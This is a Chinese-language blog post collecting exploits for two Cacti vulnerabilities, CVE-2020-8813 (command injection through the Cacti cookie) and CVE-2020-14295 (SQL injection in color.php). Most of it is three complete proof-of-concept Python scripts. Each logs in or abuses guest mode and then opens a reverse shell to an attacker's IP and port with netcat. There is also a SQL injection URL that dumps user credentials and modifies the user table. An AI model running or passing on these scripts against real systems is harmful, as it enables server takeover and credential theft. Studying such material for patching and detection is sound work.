Cacti漏洞集合

【CVE-2020-8813】Cacti v1.2.8远程代码执行漏洞

漏洞描述

Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。

Cacti 1.2.8版本中的graph_realtime.php文件存在安全漏洞。远程攻击者可借助cookie中的shell元字符利用该漏洞执行任意操作系统命令。

漏洞影响版本

Cacti 1.2.8

漏洞复现

漏洞点在登录的Cookie变量Cacti的值,将其改为系统命令造成RCE;

但是操作Cookie值会遇到身份验证问题,因此有两种利用方式:

  • 先进行用户登录,后更改cookie值实现
  • 需要系统开启访客模式,之后更改cookie值实现

漏洞判断:

  • 先进行登录或者系统开起了访客模式
  • 访问URL:/graph_realtime.php?action=init,如果返回结果中存在poller_realtime.php字样,则说明存在漏洞。

从github上找到两个POC如下:

  • POC1,需要账号登录认证

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    #!/usr/bin/python3

    # Exploit Title: Cacti v1.2.8 Remote Code Execution
    # Date: 03/02/2020
    # Exploit Author: Askar (@mohammadaskar2)
    # CVE: CVE-2020-8813
    # Vendor Homepage: https://cacti.net/
    # Version: v1.2.8
    # Tested on: CentOS 7.3 / PHP 7.1.33

    import requests
    import sys
    import warnings
    from bs4 import BeautifulSoup
    from urllib.parse import quote

    warnings.filterwarnings("ignore", category=UserWarning, module='bs4')


    if len(sys.argv) != 6:
    print("[~] Usage : ./Cacti-exploit.py url username password ip port")
    exit()

    url = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    ip = sys.argv[4]
    port = sys.argv[5]

    def login(token):
    login_info = {
    "login_username": username,
    "login_password": password,
    "action": "login",
    "__csrf_magic": token
    }
    login_request = request.post(url+"/index.php", login_info)
    login_text = login_request.text
    if "Invalid User Name/Password Please Retype" in login_text:
    return False
    else:
    return True

    def enable_guest(token):
    request_info = {
    "id": "3",
    "section25": "on",
    "section7": "on",
    "tab": "realms",
    "save_component_realm_perms": 1,
    "action": "save",
    "__csrf_magic": token
    }
    enable_request = request.post(url+"/user_admin.php?header=false", request_info)
    if enable_request:
    return True
    else:
    return False

    def send_exploit():
    payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
    cookies = {'Cacti': quote(payload)}
    requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)

    request = requests.session()
    print("[+]Retrieving login CSRF token")
    page = request.get(url+"/index.php")
    html_content = page.text
    soup = BeautifulSoup(html_content, "html5lib")
    token = soup.findAll('input')[0].get("value")
    if token:
    print("[+]Token Found : %s" % token)
    print("[+]Sending creds ..")
    login_status = login(token)
    if login_status:
    print("[+]Successfully LoggedIn")
    print("[+]Retrieving CSRF token ..")
    page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")
    html_content = page.text
    soup = BeautifulSoup(html_content, "html5lib")
    token = soup.findAll('input')[1].get("value")
    if token:
    print("[+]Making some noise ..")
    guest_realtime = enable_guest(token)
    if guest_realtime:
    print("[+]Sending malicous request, check your nc ;)")
    send_exploit()
    else:
    print("[-]Error while activating the malicous account")

    else:
    print("[-] Unable to retrieve CSRF token from admin page!")
    exit()

    else:
    print("[-]Cannot Login!")
    else:
    print("[-] Unable to retrieve CSRF token!")
    exit()

  • POC2,系统开启访客模式,不需要账号认证

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    #!/usr/bin/python3

    # Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution
    # Date: 03/02/2020
    # Exploit Author: Askar (@mohammadaskar2)
    # CVE: CVE-2020-8813
    # Vendor Homepage: https://cacti.net/
    # Version: v1.2.8
    # Tested on: CentOS 7.3 / PHP 7.1.33

    import requests
    import sys
    import warnings
    from bs4 import BeautifulSoup
    from urllib.parse import quote

    warnings.filterwarnings("ignore", category=UserWarning, module='bs4')


    if len(sys.argv) != 4:
    print("[~] Usage : ./Cacti-exploit.py url ip port")
    exit()

    url = sys.argv[1]
    ip = sys.argv[2]
    port = sys.argv[3]

    def send_exploit(url):
    payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
    cookies = {'Cacti': quote(payload)}
    path = url+"/graph_realtime.php?action=init"
    req = requests.get(path)
    if req.status_code == 200 and "poller_realtime.php" in req.text:
    print("[+] File Found and Guest is enabled!")
    print("[+] Sending malicous request, check your nc ;)")
    requests.get(path, cookies=cookies)
    else:
    print("[+] Error while requesting the file!")

    send_exploit(url)

【CVE-2020-14295】Cacti SQL注入漏洞

漏洞描述

Cacti 1.2.12版本中的color.php文件存在SQL注入漏洞。远程攻击者可借助‘filter’参数利用该漏洞执行任意命令。

影响版本

Cacti < 1.2.13

漏洞复现

登录测试环境的,访问如下链接/cacti/color.php?action=export&header=false&filter=%27)+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+user_auth+set+username=%27sqli%27+where+id=3;--+-,下载color.csv,内容包括用户名和密码。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution
# Date: 04/28/2021
# Exploit Author: Leonardo Paiva
# Vendor Homepage: https://www.cacti.net/
# Software Link: https://www.cacti.net/downloads/cacti-1.2.12.tar.gz
# Version: 1.2.12
# Tested on: Ubuntu 20.04
# CVE : CVE-2020-14295
# Credits: @M4yFly (https://twitter.com/M4yFly)
# References:
# https://github.commandcom/Cacti/cacti/issues/3622
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14295

#!/usr/bin/python3

import argparse
import requests
import sys
import urllib.parse
from bs4 import BeautifulSoup

# proxies = {'http': 'http://127.0.0.1:8080'}


def login(url, username, password, session):
print("[+] Connecting to the server...")
get_token_request = session.get(url + "/cacti/index.php", timeout=5) #, proxies=proxies)

print("[+] Retrieving CSRF token...")
html_content = get_token_request.text
soup = BeautifulSoup(html_content, 'html.parser')
print(soup)
csrf_token = soup.find_all('input')[0].get('value').split(';')[0]

if csrf_token:
print(f"[+] Got CSRF token: {csrf_token}")
print("[+] Trying to log in...")

data = {
'__csrf_magic': csrf_token,
'action': 'login',
'login_username': username,
'login_password': password
}

login_request = session.post(url + "/cacti/index.php", data=data) #, proxies=proxies)
if "Invalid User Name/Password Please Retype" in login_request.text:
print("[-] Unable to log in. Check your credentials")
sys.exit()
else:
print("[+] Successfully logged in!")
else:
print("[-] Unable to retrieve CSRF token!")
sys.exit()


def exploit(lhost, lport, session):
rshell = urllib.parse.quote(f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f")
payload = f"')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='{rshell};'+where+name='path_php_binary';--+-"

exploit_request = session.get(url + f"/cacti/color.php?action=export&header=false&filter=1{payload}") #, proxies=proxies)

print("\n[+] SQL Injection:")
print(exploit_request.text)

try:
session.get(url + "/cacti/host.php?action=reindex", timeout=1) #, proxies=proxies)
except Exception:
pass

print("[+] Check your nc listener!")

if __name__ == '__main__':
parser = argparse.ArgumentParser(description='[*] Cacti 1.2.12 - SQL Injection / Remote Code Execution')

parser.add_argument('-t', metavar='<target/host URL>', help='target/host URL, example: http://192.168.15.58', required=True)
parser.add_argument('-u', metavar='<user>', help='user to log in', required=True)
parser.add_argument('-p', metavar='<password>', help="user's password", required=True)
parser.add_argument('--lhost', metavar='<lhost>', help='your IP address', required=True)
parser.add_argument('--lport', metavar='<lport>', help='your listening port', required=True)
args = parser.parse_args()

url = args.t
username = args.u
password = args.p
lhost = args.lhost
lport = args.lport

session = requests.Session()

login(url, username, password, session)
exploit(lhost, lport, session)

测试POC,成功执行命令

Cacti近几年爆出的漏洞挺多,但是只有以上两个能搜索到POC,其他均无可利用的POC

注:仅当作技术研究,请勿用于非法用途 后果作者概不负责!!!